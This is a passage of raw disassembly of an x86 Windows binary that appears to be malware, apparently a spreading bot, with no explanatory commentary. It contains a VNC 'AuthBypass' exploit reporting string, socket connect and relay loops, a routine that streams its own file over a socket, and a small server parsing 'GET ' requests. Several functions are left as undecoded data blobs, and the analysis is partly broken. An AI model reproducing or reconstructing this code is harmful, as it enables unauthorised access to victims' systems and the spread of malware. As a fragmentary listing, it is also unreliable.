		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431440[eax]
		push	ebx
		lea	eax, dword_431440[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------

loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh

loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax

loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCE0
		call	near ptr 26E0000h
		nop
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h

loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCD4
		nop
		call	near ptr 26F0000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCE4
		call	dword_4CAFF4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 0A415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h,	0B02415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFD0h
		dd 75FF056Ah, 0CC15FF08h, 8B004CAFh, 4270FC1Dh,	68358B00h
		dd 57004270h, 875FF57h,	0B03815FFh, 0E4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCE068h, 0DCDC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0D8685057h, 68004CDCh
		dd 4CDCD4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0DCA10000h
		dd 83004CDCh, 45890CC4h, 0DCD8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 19FAE890h, 0FF50022Fh, 4CDCD835h, 0EDE89000h, 50022F19h
		dd 250FE890h, 458D022Eh, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43353Ch, 5E89057h, 8D022426h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	261FAFE8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1F96E890h, 0FF6A0226h, 0FFF04589h, 0E890D875h, 2271F50h
		dd 0F075FF57h, 2697E890h, 0FF570227h, 0E890EC75h, 227268Dh
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 0E890D875h, 22E2370h
		dd 0DCDC35FFh, 0D6FF004Ch, 0DCE035FFh, 0D6FF004Ch, 0DCD435FFh
		dd 0D6FF004Ch, 0DCD835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCEC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 0A415FFFFh, 53004CAFh, 66026A56h, 89EE4589h,	15FFF05Dh
		dd 4CB024h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Ch, 0FFFFFF54h, 0C069106Ah, 234h, 0DEECB889h
		dd 458D0043h, 0FF5750ECh, 4CAFD015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF38h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 2C17EBE8h, 0FE689002h, 530000FFh, 9E63E8h, 0ECA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFD015h
		dd 75C63B00h, 3815FF54h, 33004CAFh, 0E47539F6h,	403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22C1770h, 57056A90h, 0AFCC15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB038h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 0BC15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACE0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35446850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFF415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCF405h, 0FF38E900h, 0FF57FFFFh, 4CB03C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2C166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h,	37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh,	6A2DF3E8h
		dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 86E8F875h
		dd 90716A9Bh, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0C68156Ah, 50004338h, 3BE9D3FFh, 56000004h
		dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh,	527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 468FFFFh, 50004338h,	0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337FCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337E468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337DC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337C468h
		dd 8D61EB00h, 0FFFF5085h, 37BC68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 37AC680Dh, 40EB0043h, 0FF50858Dh
		dd 0A468FFFFh, 50004337h, 0D40BE8h, 0C0855900h,	560A7559h
		dd 9068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43378Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43376Ch
		dd 2F1E957h, 64BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43374C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433748h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433734h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 43372Ch, 0D352E850h, 85590000h, 347559C0h
		dd 0BE0A6Ah, 59004337h,	0FED8BD8Dh, 0A5F3FFFFh,	0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0F868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36E0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336D8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 4336B068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 4336A868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43369Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43367C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43367468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43364868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 43362Ch, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 36146817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35F468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDAB0h, 562EEB59h, 0D068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C9C0h, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 4335B4h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CDCF8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2660000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h

loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1AF4h
		push	1
		call	near ptr 2670580h
		nop
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi

loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCF8
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax

loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAFA4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEEC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB040
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi

loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi

loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE90
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]

loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A

loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx

loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAFBC
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB03C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]

loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]

loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5

loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6

loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA60 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------

loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43384C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9

loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh

loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]

loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]

loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414

loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------

loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]

loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------

loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB03C

loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------

loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx

loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_433824
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h

loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB03C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
